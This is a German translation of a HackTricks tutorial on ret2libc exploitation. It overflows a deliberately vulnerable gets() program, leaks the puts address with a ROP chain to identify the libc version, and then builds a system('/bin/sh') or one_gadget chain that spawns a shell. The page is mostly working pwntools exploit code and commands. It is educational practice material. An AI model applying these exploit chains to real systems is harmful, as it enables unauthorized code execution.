hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
2024-02-10 15:36:32 +00:00
..
README.md Translated to German 2024-02-10 15:36:32 +00:00
rop-leaking-libc-template.md Translated to German 2024-02-10 15:36:32 +00:00

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Kurze Zusammenfassung

  1. Ermitteln Sie den Overflow-Offset
  2. Finden Sie die Gadgets POP_RDI, PUTS_PLT und MAIN_PLT
  3. Verwenden Sie die zuvor gefundenen Gadgets, um die Speicheradresse von puts oder einer anderen libc-Funktion zu leaken und die libc-Version zu ermitteln (herunterladen)
  4. Mit der Bibliothek berechnen Sie den ROP und nutzen ihn aus

Weitere Tutorials und Binaries zum Üben

Dieses Tutorial wird den Code/Binary aus diesem Tutorial ausnutzen: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Weitere nützliche Tutorials: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Dateiname: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - Leaking LIBC Vorlage

Ich werde den Code verwenden, der sich hier befindet, um den Exploit zu erstellen.
Laden Sie den Exploit herunter und platzieren Sie ihn im selben Verzeichnis wie die verwundbare Binärdatei und geben Sie die benötigten Daten an das Skript weiter:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- Ermitteln des Offsets

Die Vorlage benötigt ein Offset, bevor der Exploit fortgesetzt werden kann. Wenn keines angegeben ist, wird der erforderliche Code ausgeführt, um es zu finden (standardmäßig OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Ausführen Sie python template.py, um eine GDB-Konsole zu öffnen, in der das Programm abstürzt. Führen Sie innerhalb dieser GDB-Konsole den Befehl x/wx $rsp aus, um die Bytes zu erhalten, die den RIP überschreiben sollten. Ermitteln Sie schließlich den Offset mithilfe einer Python-Konsole:

from pwn import *
cyclic_find(0x6161616b)

Nachdem Sie den Offset (in diesem Fall 40) gefunden haben, ändern Sie die OFFSET-Variable in der Vorlage mit diesem Wert.
OFFSET = "A" * 40

Eine andere Möglichkeit besteht darin, pattern create 1000 -- execute until ret -- pattern seach $rsp von GEF zu verwenden.

2- Auffinden von Gadgets

Jetzt müssen wir ROP-Gadgets in der Binärdatei finden. Diese ROP-Gadgets werden nützlich sein, um puts aufzurufen und die verwendete libc zu finden, und später den endgültigen Exploit auszuführen.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Das PUTS_PLT wird benötigt, um die Funktion puts aufzurufen.
Das MAIN_PLT wird benötigt, um die Hauptfunktion erneut aufzurufen, nachdem eine Interaktion stattgefunden hat, um den Overflow erneut auszunutzen (unendliche Runden der Ausnutzung). Es wird am Ende jedes ROP verwendet, um das Programm erneut aufzurufen.
Das POP_RDI wird benötigt, um einen Parameter an die aufgerufene Funktion zu übergeben.

In diesem Schritt müssen Sie nichts ausführen, da pwntools während der Ausführung alles finden wird.

3- Suchen der LIBC-Bibliothek

Jetzt ist es an der Zeit herauszufinden, welche Version der libc-Bibliothek verwendet wird. Dazu werden wir die Adresse der Funktion puts im Speicher leaken und dann nachschauen, in welcher Bibliotheksversion sich die puts-Version an dieser Adresse befindet.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Um dies zu tun, ist die wichtigste Zeile des ausgeführten Codes:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Dies sendet einige Bytes, bis das RIP überschrieben ist: OFFSET.
Dann wird die Adresse des Gadgets POP_RDI gesetzt, damit die nächste Adresse (FUNC_GOT) im RDI-Register gespeichert wird. Dies geschieht, weil wir puts aufrufen möchten und ihm die Adresse von PUTS_GOT als Speicheradresse der puts-Funktion gespeichert ist, die durch PUTS_GOT angezeigt wird.
Danach wird PUTS_PLT aufgerufen (mit PUTS_GOT im RDI), sodass puts den Inhalt innerhalb von PUTS_GOT (die Adresse der puts-Funktion im Speicher) liest und ausgibt.
Schließlich wird die Hauptfunktion erneut aufgerufen, damit wir den Überlauf erneut ausnutzen können.

Auf diese Weise haben wir die puts-Funktion getäuscht, die Adresse der Funktion puts (die sich in der libc-Bibliothek befindet) auszugeben. Jetzt, da wir diese Adresse haben, können wir herausfinden, welche libc-Version verwendet wird.

Da wir eine lokale Binärdatei ausnutzen, ist es nicht erforderlich, herauszufinden, welche Version von libc verwendet wird (nur die Bibliothek in /lib/x86_64-linux-gnu/libc.so.6 finden).
In einem Fall von Remote-Exploits werde ich hier erklären, wie Sie es finden können:

3.1- Suchen nach libc-Version (1)

Sie können auf der Webseite https://libc.blukat.me/ suchen, welche Bibliothek verwendet wird.
Es ermöglicht Ihnen auch das Herunterladen der entdeckten Version von libc.

3.2- Suchen nach libc-Version (2)

Sie können auch Folgendes tun:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Dies dauert einige Zeit, seien Sie geduldig.
Damit dies funktioniert, benötigen wir:

  • Libc-Symbolname: puts
  • Durchgesickerte libc-Adresse: 0x7ff629878690

Wir können herausfinden, welche libc höchstwahrscheinlich verwendet wird.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Wir haben 2 Übereinstimmungen (versuche die zweite, wenn die erste nicht funktioniert). Lade die erste herunter:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopieren Sie die libc von libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so in unser Arbeitsverzeichnis.

3.3- Andere Funktionen zum Auslesen

puts
printf
__libc_start_main
read
gets

4- Finden der basierten libc-Adresse und Ausnutzung

An diesem Punkt sollten wir die verwendete libc-Bibliothek kennen. Da wir eine lokale Binärdatei ausnutzen, werde ich einfach /lib/x86_64-linux-gnu/libc.so.6 verwenden.

Ändern Sie also am Anfang von template.py die Variable libc in: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Setzen Sie den Bibliothekspfad, wenn Sie ihn kennen

Indem wir den Pfad zur libc-Bibliothek angeben, wird der Rest des Exploits automatisch berechnet.

In der Funktion get_addr wird die Basisadresse von libc berechnet:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} Beachten Sie, dass die endgültige Basisadresse von libc mit 00 enden muss. Wenn das nicht der Fall ist, haben Sie möglicherweise eine falsche Bibliothek geleakt. {% endhint %}

Dann werden die Adresse der Funktion system und die Adresse des Strings "/bin/sh" aus der Basisadresse von libc und der gegebenen libc-Bibliothek berechnet.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Endlich wird der Exploit für die Ausführung von /bin/sh vorbereitet und gesendet:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Lassen Sie uns dieses letzte ROP erklären. Das letzte ROP (rop1) endete erneut mit dem Aufruf der Hauptfunktion, daher können wir den Overflow erneut ausnutzen (deshalb ist hier wieder der OFFSET). Dann möchten wir POP_RDI aufrufen, der auf die Adresse von "/bin/sh" (BINSH) zeigt, und die Funktion system (SYSTEM) aufrufen, da die Adresse von "/bin/sh" als Parameter übergeben wird. Schließlich wird die Adresse der Exit-Funktion aufgerufen, damit der Prozess ordnungsgemäß beendet wird und keine Warnung generiert wird.

Auf diese Weise führt der Exploit eine /bin/sh Shell aus.

4(2)- Verwendung von ONE_GADGET

Sie könnten auch ONE_GADGET verwenden, um anstelle von system und "/bin/sh" eine Shell zu erhalten. ONE_GADGET findet in der libc-Bibliothek eine Möglichkeit, mit nur einer ROP-Adresse eine Shell zu erhalten. Normalerweise gibt es jedoch einige Einschränkungen, die häufigsten und einfachsten zu vermeidenden sind wie [rsp+0x30] == NULL. Da Sie die Werte im RSP kontrollieren, müssen Sie nur einige weitere NULL-Werte senden, um die Einschränkung zu umgehen.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT-DATEI

Sie können hier eine Vorlage finden, um diese Schwachstelle auszunutzen:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Häufige Probleme

MAIN_PLT = elf.symbols['main'] nicht gefunden

Wenn das Symbol "main" nicht existiert, können Sie einfach herausfinden, wo sich der Hauptcode befindet:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

und setzen Sie die Adresse manuell:

MAIN_PLT = 0x401080

Puts nicht gefunden

Wenn die Binärdatei Puts nicht verwendet, sollten Sie überprüfen, ob sie stattdessen Folgendes verwendet:

sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden

Wenn Sie nach der Erstellung des gesamten Exploits diesen Fehler finden: sh: 1: %s%s%s%s%s%s%s%s: nicht gefunden

Versuchen Sie, 64 Bytes von der Adresse von "/bin/sh" abzuziehen:

BINSH = next(libc.search("/bin/sh")) - 64
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: